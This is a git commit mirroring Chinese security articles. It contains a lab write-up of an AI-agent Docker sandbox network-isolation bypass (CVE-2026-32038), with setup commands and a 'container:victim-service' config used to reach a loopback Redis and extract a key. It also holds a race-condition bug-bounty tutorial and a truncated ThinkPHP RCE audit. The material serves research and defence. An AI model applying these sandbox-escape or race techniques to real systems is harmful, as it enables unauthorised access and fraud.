mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
漏洞预警 | Adobe Acrobat Reader远程代码执行漏洞、2025 “泉城杯” 济南市网络安全大赛 题目复现、【SRC实战】|并发漏洞新手的加油站!、盲SSRF实战:用这招“投石问路”,无声漏洞照样拿赏金、一次案件前台RCE审计、漏洞预警 | 孚盟云SQL注入漏洞、蚁剑v2.1.15曝致命漏洞!XSS可直接变RCE,点击即中招...、红队神器|Vue 站点未授权漏洞一键挖掘,这款插件太好用了、密码重置令牌可预测漏洞、黑客利用Telegram做“战报系统”,900余家企业遭React2Shell漏洞批量洗劫、勒索软件与Mirai的狂欢:CISA最新KEV漏洞技术复盘与防护、OpenClaw安全实战系列(四):幽灵连通性 — 揭秘CVE-2026-32038沙箱网络隔离绕过与靶标实战、天地伟业Easy7 queryDataByTypeEx SQL注入漏洞、
This commit is contained in:
1 parent
12db44fb22
commit
9e97a3ee49
14 files changed
+1996
-22
No files matched your search
@@ -20271,5 +20271,18 @@
|
||||
"https://mp.weixin.qq.com/s/AyBY_zIVYv8nrwl235aZhg": "OpenAI 推出GPT-5.5 生物漏洞奖励计划,最高赏金2.5万美元",
|
||||
"https://mp.weixin.qq.com/s/ZOIw-ddU5YRUo9rm2Ahu9Q": "【高危漏洞预警】Notepad++字符串注入漏洞(CVE-2026-3008)",
|
||||
"https://mp.weixin.qq.com/s/2bRYPweh1tzlqV8JfDwnuA": "【AI安全】别只防输出!AI Agent 的中间流程漏洞百出",
|
||||
"https://mp.weixin.qq.com/s/X7RDgEZs6UiknLMJKM_GlQ": "Vvveb CMS 任意文件上传导致RCE | CVE-2026-6257原理分析&研究"
|
||||
"https://mp.weixin.qq.com/s/X7RDgEZs6UiknLMJKM_GlQ": "Vvveb CMS 任意文件上传导致RCE | CVE-2026-6257原理分析&研究",
|
||||
"https://mp.weixin.qq.com/s/K536X2vV09_tmDLScP-mzQ": "漏洞预警 | Adobe Acrobat Reader远程代码执行漏洞",
|
||||
"https://mp.weixin.qq.com/s/0k7hkyH8gNiaUK0FT9VfGg": "2025 “泉城杯” 济南市网络安全大赛 题目复现",
|
||||
"https://mp.weixin.qq.com/s/1YAvYFJ_ywbmsjjloGs-Vw": "【SRC实战】|并发漏洞新手的加油站!",
|
||||
"https://mp.weixin.qq.com/s/LxcaJcZh_ujFPE2rZEVSNw": "盲SSRF实战:用这招“投石问路”,无声漏洞照样拿赏金",
|
||||
"https://mp.weixin.qq.com/s/VtS7CflCTMI9Lkk0y4_n4g": "一次案件前台RCE审计",
|
||||
"https://mp.weixin.qq.com/s/GbC8KYAXswdfqRdL9gKIyA": "漏洞预警 | 孚盟云SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/UHsu_MTGV2-9xJObaoKG0A": "蚁剑v2.1.15曝致命漏洞!XSS可直接变RCE,点击即中招...",
|
||||
"https://mp.weixin.qq.com/s/6All2qBlo79FG8KTQCTrmA": "红队神器|Vue 站点未授权漏洞一键挖掘,这款插件太好用了",
|
||||
"https://mp.weixin.qq.com/s/6hcanSlxurPwZfquPPKrDg": "密码重置令牌可预测漏洞",
|
||||
"https://mp.weixin.qq.com/s/nUEiHeVYhn53cJdwnNH2vQ": "黑客利用Telegram做“战报系统”,900余家企业遭React2Shell漏洞批量洗劫",
|
||||
"https://mp.weixin.qq.com/s/d7xALBk9AkhG0Pl_uaAvIQ": "勒索软件与Mirai的狂欢:CISA最新KEV漏洞技术复盘与防护",
|
||||
"https://mp.weixin.qq.com/s/Qx_dOttjDfG9-OBh9-Og9w": "OpenClaw安全实战系列(四):幽灵连通性 — 揭秘CVE-2026-32038沙箱网络隔离绕过与靶标实战",
|
||||
"https://mp.weixin.qq.com/s/Vww-RAutlBTjp4HaJakzUQ": "天地伟业Easy7 queryDataByTypeEx SQL注入漏洞"
|
||||
}
|
||||
@@ -1,6 +1,5 @@
|
||||
# 2025 “泉城杯” 济南市网络安全大赛 题目复现
|
||||
原创 小志z
|
||||
小志z 志在片语 2026-04-20 14:06
|
||||
赛查查 2026-04-28 01:23
|
||||
|
||||
> 其实就是去年大概七月的事情 感觉时间好快 马上又要比CTF了 准备拿一些之前没做出来的逆向密码深入学习一下下(
|
||||
|
||||
|
||||
@@ -0,0 +1,262 @@
|
||||
# OpenClaw安全实战系列(四):幽灵连通性 — 揭秘CVE-2026-32038沙箱网络隔离绕过与靶标实战
|
||||
原创 星云实验室
|
||||
星云实验室 绿盟科技研究通讯 2026-04-28 02:01
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
摘要:在OpenClaw安全实战系列的前三篇中,我们分别探讨了[AgentSkill供应链投毒(一)](https://mp.weixin.qq.com/s?__biz=MzIyODYzNTU2OA==&mid=2247499591&idx=1&sn=28a52709861e75b80ab3d155ee9620be&scene=21#wechat_redirect)
|
||||
、[POSIX缩写绕过安全白名单(二)](https://mp.weixin.qq.com/s?__biz=MzIyODYzNTU2OA==&mid=2247499691&idx=1&sn=9a5c0303bdfcc6f525fdcc2db947beb8&scene=21#wechat_redirect)
|
||||
以及[网关劫持实现1-ClickRCE(三)](https://mp.weixin.qq.com/s?__biz=MzIyODYzNTU2OA==&mid=2247499830&idx=1&sn=7e8e642a37a47609bbff7a318c88da55&scene=21#wechat_redirect)
|
||||
。这一系列文章论证了:在Agentic AI深度介入生产环境的当下,任何微小的逻辑解析歧义都可能演变为严重的系统级漏洞。
|
||||
|
||||
本篇我们将目光转向容器化沙箱的底层隔离边界,剖析CVE-2026-32038。该漏洞源于OpenClaw Gateway在创建沙箱容器时,对Docker网络命名空间共享机制的审计存在盲区。本文将通过模拟真实的业务场景,构建自动化靶场环境,展示攻击者如何利用container:<id>语法,从受限的沙箱环境横向移动,窃取仅监听于本地回环地址的敏感数据库凭据。
|
||||
|
||||
|
||||
关键词:OpenClaw漏洞;CVE-2026-32038;沙箱逃逸;网络隔离绕过;Docker安全
|
||||
|
||||
注:本文及相关靶标构建方法仅用于安全研究与防御体系学习,请勿将相关技术用于任何未经授权的非法测试网络。
|
||||
|
||||
|
||||
一、背景与机制解析
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
1.1
|
||||
|
||||
组件架构:Sandbox与Exec的安全底座
|
||||
|
||||
|
||||
在OpenClaw的设计哲学中,为了确保智能体在执行系统级任务时的安全性,构建了双层防御架构:
|
||||
|
||||
1. Exec(审批层):负责定义智能体调用系统命令的审批逻辑。通过safeBins白名单和ask策略(如on-miss),决定哪些操作可以自动化执行,哪些必须经过人工确认。
|
||||
|
||||
2. Sandbox(隔离层):这是OpenClaw的核心安全防护屏障。Sandbox可通过Docker或MicroVM技术,为每个任务创建一个临时的、受限的执行环境,防止模型执行如rm -rf /或反弹Shell等高危指令。
|
||||
|
||||
核心配置详解:在openclaw.json的agents配置项中,sandbox模块控制着隔离的强度,其主要配置如下所示:
|
||||
|
||||
mode:定义隔离级别(如all表示全量隔离)。
|
||||
|
||||
workspaceAccess:限制沙箱对宿主机工作目录的访问权限。
|
||||
|
||||
docker.network:(本次漏洞核心)定义沙箱的网卡模式。默认情况下,为了实现完全隔离,该参数应严禁指向宿主机或其他业务容器。
|
||||
|
||||
1.2
|
||||
|
||||
靶场场景构建:幽灵连通性
|
||||
|
||||
|
||||
为了验证由于配置审计疏忽导致的隔离失效风险,绿盟AI靶场通过场景构建模拟了此漏洞场景,旨在直观展示沙箱边界突破后,内部侧向移动带来的严重后果。
|
||||
|
||||
模拟场景描述:某科技公司的运维团队为了调试生产缓存redis的响应延迟,临时修改了Agent配置。由于网关在处理docker.network参数时,仅防御了常规的--network=host,却忽略了利用Docker网络命名空间共享特性的攻击路径,导致一个名为“幽灵连通性”的逻辑后门被植入系统。攻击者的目标是利用此边界缺陷,绕过沙箱限制,窃取Redis中存储的生产环境备份密钥。
|
||||
|
||||
|
||||
|
||||
二、CVE-2026-32038深度剖析
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
2.1
|
||||
|
||||
漏洞基本信息
|
||||
|
||||
|
||||
根据NVD的官方定义[1],该漏洞被归类为CWE-265(权限management绕过)。其核心风险在于,攻击者通过操纵沙箱创建参数,可以获得本不属于该环境的网络访问权限,CVSS评分高达9.0。
|
||||
|
||||
2.2
|
||||
|
||||
防御机制的底层语义盲区
|
||||
|
||||
该漏洞揭示了安全审计引擎与底层执行器Docker之间对参数语义理解的不对等。
|
||||
|
||||
在旧版本代码中,网关仅对network参数实施了简单的黑名单策略,主要是为了防止Agent加入宿主机网络:
|
||||
```
|
||||
//脆弱的审计逻辑示例
|
||||
if(config.network==='host'){
|
||||
thrownewError('Hostnetworkisforbiddeninsandbox!');
|
||||
}
|
||||
```
|
||||
|
||||
然而,Docker支持一种隐蔽的共享模式:--network=container:victim-container。当此参数生效时,新容器不会创建自己的网络协议栈,而是直接复用目标容器的网卡、IP以及回环地址。由于审计层不认为container:<字符串>是危险的,载荷被顺利放行。此时,原本处于完全隔离状态的沙箱,在网络层面上已与受害者容器完全合并,实现了“幽灵式”的连通[2]。
|
||||
|
||||
|
||||
|
||||
三、自动化靶场环境搭建
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
3.1
|
||||
|
||||
核心环境依赖
|
||||
|
||||
|
||||
<table><tbody><tr><td data-colwidth="138" width="138" valign="center" style="padding: 0pt 5.4pt;border-width: 1pt;border-style: solid;border-color: windowtext;"><p><b><span style="font-family:宋体;color:rgb(0,0,0);font-weight:bold;"><font face="宋体"><span leaf="">组件</span></font></span></b></p></td><td data-colwidth="170" width="138" valign="center" style="padding: 0pt 5.4pt;border-width: 1pt;border-style: solid;border-color: windowtext;"><p><b><span style="font-family:宋体;color:rgb(0,0,0);font-weight:bold;"><font face="宋体"><span leaf="">版本</span></font></span></b></p></td><td data-colwidth="234" width="138" valign="center" style="padding: 0pt 5.4pt;border-width: 1pt;border-style: solid;border-color: windowtext;"><p><b><span style="font-family:宋体;color:rgb(0,0,0);font-weight:bold;"><font face="宋体"><span leaf="">角色</span></font></span></b></p></td></tr><tr><td data-colwidth="138" width="138" valign="center" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p><b><span style="font-family:宋体;mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-weight:bold;"><span leaf="">OpenClaw </span></span></b></p></td><td data-colwidth="170" width="138" valign="center" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p><span style="font-family:宋体;mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);"><span leaf="">2026.2.23</span></span></p></td><td data-colwidth="234" width="138" valign="center" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p><span style="font-family:宋体;color:rgb(0,0,0);"><font face="宋体"><span leaf="">漏洞承载环境</span></font></span></p></td></tr><tr><td data-colwidth="138" width="138" valign="center" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p><b><span style="font-family:宋体;mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-weight:bold;"><span leaf="">Docker</span></span></b></p></td><td data-colwidth="170" width="138" valign="center" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p><span style="font-family:宋体;mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);"><span leaf="">20.10.x+</span></span></p></td><td data-colwidth="234" width="138" valign="center" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p><span style="font-family:宋体;color:rgb(0,0,0);"><font face="宋体"><span leaf="">基础设施</span></font></span></p></td></tr><tr><td data-colwidth="138" width="138" valign="center" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p><b><span style="font-family:宋体;mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-weight:bold;"><span leaf="">Redis</span></span></b></p></td><td data-colwidth="170" width="138" valign="center" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p><span style="font-family:宋体;mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);"><span leaf="">latest</span></span></p></td><td data-colwidth="234" width="138" valign="center" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p><span style="font-family:宋体;color:rgb(0,0,0);"><font face="宋体"><span leaf="">受害者服务(模拟生产环境)</span></font></span></p></td></tr></tbody></table>
|
||||
|
||||
|
||||
3.2
|
||||
|
||||
漏洞环境部署
|
||||
|
||||
|
||||
第一步:部署受害者环境启动一个仅在容器本地127.0.0.1监听的Redis服务,并植入敏感Flag:
|
||||
```
|
||||
docker run -d –name victim-service redis:latest redis-server—bind 127.0.0.1
|
||||
docker exec victim-service redis-cli SETBACKUP_KEY"FLAG{Namespace_Join_RCE_2026}"
|
||||
```
|
||||
|
||||
|
||||
第二步:配置脆弱的OpenClaw Agent修改openclaw.json,将沙箱网络模式指向受害者容器:
|
||||
```
|
||||
"sandbox": {
|
||||
"docker": {
|
||||
"image": "busybox:latest",
|
||||
"network": "container:victim-service"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
四、漏洞复现与利用
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
4.1
|
||||
|
||||
攻击路径演示
|
||||
|
||||

|
||||
|
||||
图1 漏洞攻击路径步骤图
|
||||
|
||||
步骤1:横向探测攻击者利用沙箱内置的nc即可探测受害者服务的连通性。由于共享了网络命名空间,原本不可触达的127.0.0.1:6379现在完全暴露
|
||||
|
||||
步骤2:敏感数据窃取通过Redis协议提取备份密钥
|
||||
|
||||
|
||||
4.2
|
||||
|
||||
利用效果
|
||||
|
||||

|
||||
|
||||
图2 利用沙箱内置的nc探测受害者服务的连通性
|
||||
|
||||

|
||||
|
||||
图3 敏感数据窃取通过Redis协议提取备份密钥
|
||||
|
||||
|
||||
|
||||
五、安全防护最佳实践
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
1. 内核防御:升级版本立即升级至OpenClaw 2026.2.24以上版本。官方在最新的安全公告中指出,该版本已重构了DockerDriver.ts的参数校验模块,通过正则白名单强制拦截任何未经显式授权的container:命名空间加入请求[2]。笔者也尝试通过升级版本再复现该漏洞,发现配置容器网络行为被默认禁止,如下图所示:
|
||||
|
||||

|
||||
|
||||
图4 OpenClaw 2026.2.24版本已拦截任何未经显式授权的container:命名空间加入请求
|
||||
|
||||
2. 配置强加固:遵循最小权限原则,在openclaw.json中严格限制docker.network仅允许使用bridge或none模式。
|
||||
|
||||
3. 零信任准入:即便对于内部Agent的配置变更,也应通过Exec审批流进行二次人工确认,防止通过配置篡改实现“幽灵连通”。这一部分内容也可以参考之前的《POSIX缩写绕过安全白名单(二)》系列文章,其中有详细说明。
|
||||
|
||||
|
||||
|
||||
六、绿盟AI靶场创新方案
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
绿盟科技星云实验室已将该复现逻辑集成于AI靶场
|
||||
|
||||

|
||||
|
||||
图5 绿盟大模型靶场管理平台
|
||||
|
||||
AI靶场方案引入多类威胁模型,构建了覆盖实战攻防全链路的靶场环境,重点呈现三大核心场景:
|
||||
|
||||
AI系统对外部环境的威胁场景:在这一类场景中,靶场重点还原大模型被纳入系统后,其输出结果被自动采信并直接作用于外部环境(本地终端与开发机、浏览器与IDE、云原生基础设施等等)所形成的真实攻击路径。该类威胁并非源于模型本身的缺陷,而是源于模型能力与外部环境执行能力之间缺乏有效安全边界。
|
||||
|
||||
外部环境对AI系统威胁场景:在此类威胁场景中,靶场重点关注外部环境如何成为攻击大模型的关键跳板。攻击者不再局限于通过提示词影响模型输出,而是借助外部环境中的执行能力、逃逸路径、供应链环节与控制面权限,从运行环境、权限体系与数据上下文等多个层面,直接接管或长期影响大模型的行为。
|
||||
|
||||
AI系统自身的内生安全风险场景:如输入与指令安全、输出与交互安全、数据与知识安全、自治与资源治理安全。
|
||||
|
||||

|
||||
|
||||
图6 AI靶场场景概览
|
||||
|
||||
|
||||
参考文献
|
||||
|
||||
[1] NVD CVE-2026-32038 Detail. https://nvd.nist.gov/vuln/detail/CVE-2026-32038
|
||||
|
||||
[2] OpenClaw Security Advisories: Sandbox Isolation Bypass. https://github.com/openclaw/openclaw/security/advisories
|
||||
|
||||
[3] Docker Security: Network Namespace Isolation. https://docs.docker.com/engine/security/
|
||||
|
||||
|
||||
内容编辑:浦 明
|
||||
|
||||
责任编辑:吕治政
|
||||
|
||||
本公众号原创文章仅代表作者观点,不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权,严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用,转载须注明来自绿盟科技研究通讯并附上本文链接。
|
||||
|
||||
|
||||
**关于我们**
|
||||
|
||||
|
||||
绿盟科技研究通讯由绿盟科技创新研究院负责运营,绿盟科技创新研究院是绿盟科技的前沿技术研究部门,包括星云实验室、天枢实验室和孵化中心。团队成员由来自清华、北大、哈工大、中科院、北邮等多所重点院校的博士和硕士组成。
|
||||
|
||||
绿盟科技创新研究院作为“中关村科技园区海淀园博士后工作站分站”的重要培养单位之一,与清华大学进行博士后联合培养,科研成果已涵盖各类国家课题项目、国家专利、国家标准、高水平学术论文、出版专业书籍等。
|
||||
|
||||
我们持续探索信息安全领域的前沿学术方向,从实践出发,结合公司资源和先进技术,实现概念级的原型系统,进而交付产品线孵化产品并创造巨大的经济价值。
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,349 @@
|
||||
# 【SRC实战】|并发漏洞新手的加油站!
|
||||
隐雾安全
|
||||
隐雾安全 隐雾安全 2026-04-28 01:02
|
||||
|
||||
📝 **编者语**
|
||||
|
||||
很多人觉得并发哪有注入,命令执行来的迷人,所以并发往往被忽略,但它的产出却非常稳定:
|
||||
|
||||
不依赖复杂payload,很多时候只是:
|
||||
|
||||
**在“同一时间”,多发几次请求。非常适合新手。**
|
||||
|
||||
这篇文章,是学员在实战中挖到的两个并发案例。
|
||||
|
||||
我们重点不只是看结果,而是看:
|
||||
|
||||
这个漏洞,是怎么被想到、被验证、被放大的。
|
||||
|
||||
1
|
||||
|
||||
先讲清楚:什么是并发漏洞?
|
||||
|
||||
用一句话解释:
|
||||
|
||||
**并发漏洞 = 系统在“同一时间处理多个请求”时,没有做好状态校验**
|
||||
|
||||
|
||||
**举个简单例子**
|
||||
|
||||
正常逻辑是:
|
||||
|
||||
扣积分 → 抽奖 → 返回结果
|
||||
|
||||
但如果你同时发两个请求:
|
||||
|
||||
请求1:扣积分
|
||||
请求2:也在扣积分之前进入
|
||||
|
||||
就可能变成:
|
||||
|
||||
- **扣一次积分**
|
||||
|
||||
- **执行两次抽奖**
|
||||
|
||||
|
||||
|
||||
|
||||
**本质问题是什么?**
|
||||
|
||||
“检查”和“执行”不是原子操作
|
||||
|
||||
系统以为你只会请求一次,但你同时发了多次。
|
||||
|
||||
|
||||
**并发漏洞常见在哪?**
|
||||
|
||||
我这段时间总结下来,高频点是:
|
||||
|
||||
- **抽奖 / 抢购**
|
||||
|
||||
- **积分获取**
|
||||
|
||||
- **优惠领取**
|
||||
|
||||
- **答题 / 投票**
|
||||
|
||||
- **下单 / 支付**
|
||||
|
||||
|
||||
|
||||
一句话:
|
||||
|
||||
**所有“有次数限制 / 有资源消耗”的地方,都值得测并发**
|
||||
|
||||
2
|
||||
|
||||
案例一:抽奖并发,多抽一次
|
||||
|
||||
这个案例其实很典型。
|
||||
|
||||
|
||||

|
||||
|
||||
1️⃣ 业务规则很清晰
|
||||
|
||||
系统规则是:
|
||||
|
||||
一次抽奖需要 88 积分
|
||||
|
||||
而我当时只有:
|
||||
|
||||
130 积分
|
||||
|
||||
按正常逻辑:
|
||||
|
||||
只能抽 1 次
|
||||
|
||||
|
||||
2️⃣ 我当时的想法很简单
|
||||
|
||||
看到这种“扣积分 → 执行操作”的流程,我现在基本会多问一句:
|
||||
|
||||
**“如果我同时发两个请求呢?”**
|
||||
|
||||
于是我直接用工具做并发请求。
|
||||
|
||||

|
||||
|
||||
|
||||
3️⃣ 并发结果
|
||||
|
||||
结果是:
|
||||
|
||||
成功抽了 2 次
|
||||
|
||||

|
||||
|
||||
|
||||
4️⃣ 实际效果
|
||||
|
||||
- **积分只扣了一次**
|
||||
|
||||
- **抽奖执行了两次**
|
||||
|
||||
|
||||
|
||||
这是一个典型的:**临界条件竞争**
|
||||
|
||||
|
||||
5️⃣ 为什么能成功?
|
||||
|
||||
本质原因是:
|
||||
|
||||
系统流程类似这样:
|
||||
|
||||
判断积分是否足够 → 扣积分 → 抽奖
|
||||
|
||||
但在并发情况下:
|
||||
|
||||
- **两个请求都通过了“判断”**
|
||||
|
||||
- **然后才执行扣积分**
|
||||
|
||||
|
||||
|
||||
导致逻辑错乱。
|
||||
|
||||
|
||||
6️⃣积累的经验
|
||||
|
||||
这次出货让我意识到:
|
||||
|
||||
**“有消耗的操作,一定要测并发”**
|
||||
|
||||
尤其是:
|
||||
|
||||
- **抽奖**
|
||||
|
||||
- **兑换**
|
||||
|
||||
- **支付前校验**
|
||||
|
||||
|
||||
|
||||
|
||||
3
|
||||
|
||||
案例二:答题并发,积分直接叠加
|
||||
|
||||
第二个案例,其实更有意思一点。
|
||||
|
||||
|
||||

|
||||
|
||||
1️⃣ 正常业务逻辑
|
||||
|
||||
在这个场景里:
|
||||
|
||||
用户发布答题,可以选择“最佳答案”
|
||||
|
||||
系统规则是:
|
||||
|
||||
- **只能选一次**
|
||||
|
||||
- **会给对应积分**
|
||||
|
||||
- **发布答题会扣分**
|
||||
|
||||
|
||||
|
||||
|
||||
2️⃣ 关注点
|
||||
|
||||
看到这种功能,第一反应应该是:
|
||||
|
||||
**有没有次数限制?能不能绕?**
|
||||
|
||||
于是抓包看接口。
|
||||
|
||||
|
||||
3️⃣ 并发测试
|
||||
|
||||
对“选择最佳答案”的请求做了并发发送。
|
||||
|
||||
结果是:
|
||||
|
||||
并发成功
|
||||
|
||||

|
||||
|
||||
|
||||
4️⃣ 实际效果
|
||||
|
||||
- **积分多次增加**
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
- **但扣分只发生了一次**
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
直接变成“薅积分”
|
||||
|
||||
|
||||
5️⃣ 这个漏洞的本质
|
||||
|
||||
和第一个案例其实一样:
|
||||
|
||||
状态校验失效 + 并发请求
|
||||
|
||||
系统逻辑是:
|
||||
|
||||
判断是否已选择 → 执行选择 → 加积分
|
||||
|
||||
但在并发情况下:
|
||||
|
||||
- **多个请求同时通过判断**
|
||||
|
||||
- **都执行了加积分**
|
||||
|
||||
|
||||
|
||||
|
||||
6️⃣ 一个细节(很重要)
|
||||
|
||||
这个点如果只测一次,是发现不了问题的。
|
||||
|
||||
必须:
|
||||
|
||||
刻意去做“同时请求”
|
||||
|
||||
|
||||
4
|
||||
|
||||
这两个案例的共同点
|
||||
|
||||
如果你把两个案例放在一起看,其实非常统一:
|
||||
|
||||
|
||||
核心问题
|
||||
|
||||
状态没有锁 / 没有做原子控制
|
||||
|
||||
|
||||
共同特点
|
||||
|
||||
- **有“次数限制”**
|
||||
|
||||
- **有“资源变化”(积分 / 次数)**
|
||||
|
||||
- **有“判断 → 执行”流程**
|
||||
|
||||
|
||||
|
||||
|
||||
利用方式
|
||||
|
||||
并发请求
|
||||
|
||||
**还原它做了什么**
|
||||
|
||||
|
||||
5
|
||||
|
||||
测并发的“固定动作”
|
||||
|
||||
挖到这两个漏洞后,我基本形成了几个习惯:
|
||||
|
||||
|
||||
1️⃣ 看到“扣积分” → 必测并发
|
||||
|
||||
|
||||
2️⃣ 看到“只能一次” → 必测并发
|
||||
|
||||
|
||||
3️⃣ 看到“抽奖 / 领取” → 必测并发
|
||||
|
||||
|
||||
4️⃣ 能重复发包 → 一定试并发
|
||||
|
||||
|
||||
**判断是否成功的关键**
|
||||
|
||||
看三点:
|
||||
|
||||
- **是否执行多次**
|
||||
|
||||
- **是否只扣一次资源**
|
||||
|
||||
- **返回结果是否异常**
|
||||
|
||||
|
||||
|
||||
这两个漏洞让我印象比较深的一点是:
|
||||
|
||||
**它们都不复杂,但很稳定。**
|
||||
|
||||
不需要:
|
||||
|
||||
- **写复杂 payload**
|
||||
|
||||
- **绕各种限制**
|
||||
|
||||
|
||||
|
||||
只需要:
|
||||
|
||||
多发几次,而且是“同时发”
|
||||
|
||||
|
||||
🎁 文末福利
|
||||
|
||||
联系客服获取《并发漏洞挖掘与利用思路整理》
|
||||
|
||||
**!**
|
||||
|
||||

|
||||
|
||||
|
||||
**微信号丨**
|
||||
Hiddenfog001
|
||||
|
||||

|
||||
|
||||
|
||||
@@ -0,0 +1,663 @@
|
||||
# 一次案件前台RCE审计
|
||||
原创 秋风
|
||||
秋风 秋风的安全之路 2026-04-28 01:01
|
||||
|
||||
# 一次案件前台RCE审计
|
||||
> 目标:某涉案IM系统(ThinkPHP 5.0.24 / FastAdmin 2.5.1)
|
||||
成果:前台无条件RCE,获取webshell
|
||||
> 作者:秋风
|
||||
|
||||
### 利用链总览
|
||||
```
|
||||
```
|
||||
## 0x01 目标概况
|
||||
|
||||
拿到源码先看目录结构。根目录下有
|
||||
thinkphp/
|
||||
目录、
|
||||
application/
|
||||
目录和
|
||||
public/index.php
|
||||
入口文件,是标准的 ThinkPHP 5 + FastAdmin 结构。
|
||||
|
||||
翻了下
|
||||
thinkphp/base.php
|
||||
,版本写死的
|
||||
5.0.24
|
||||
。后台控制器的 namespace 是
|
||||
app\adim888\controller
|
||||
,后台路径
|
||||
/adim888/
|
||||
,不是默认的
|
||||
/admin/
|
||||
。
|
||||
|
||||
服务器环境是通过后面的SSRF读配置文件一步步摸清的:
|
||||
|
||||
<table><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;"><span cid="n4448" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 181.984375px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">项目</span></span></span></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;"><span cid="n4449" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 563.03125px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">值</span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n4451" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 181.984375px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">框架</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n4452" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 563.03125px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">ThinkPHP 5.0.24 + FastAdmin 2.5.1</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n4454" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 181.984375px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">服务器</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n4455" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 563.03125px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">Linux im163 6.1.56 (Amazon Linux 2023) x86_64</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n4457" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 181.984375px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">PHP</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n4458" 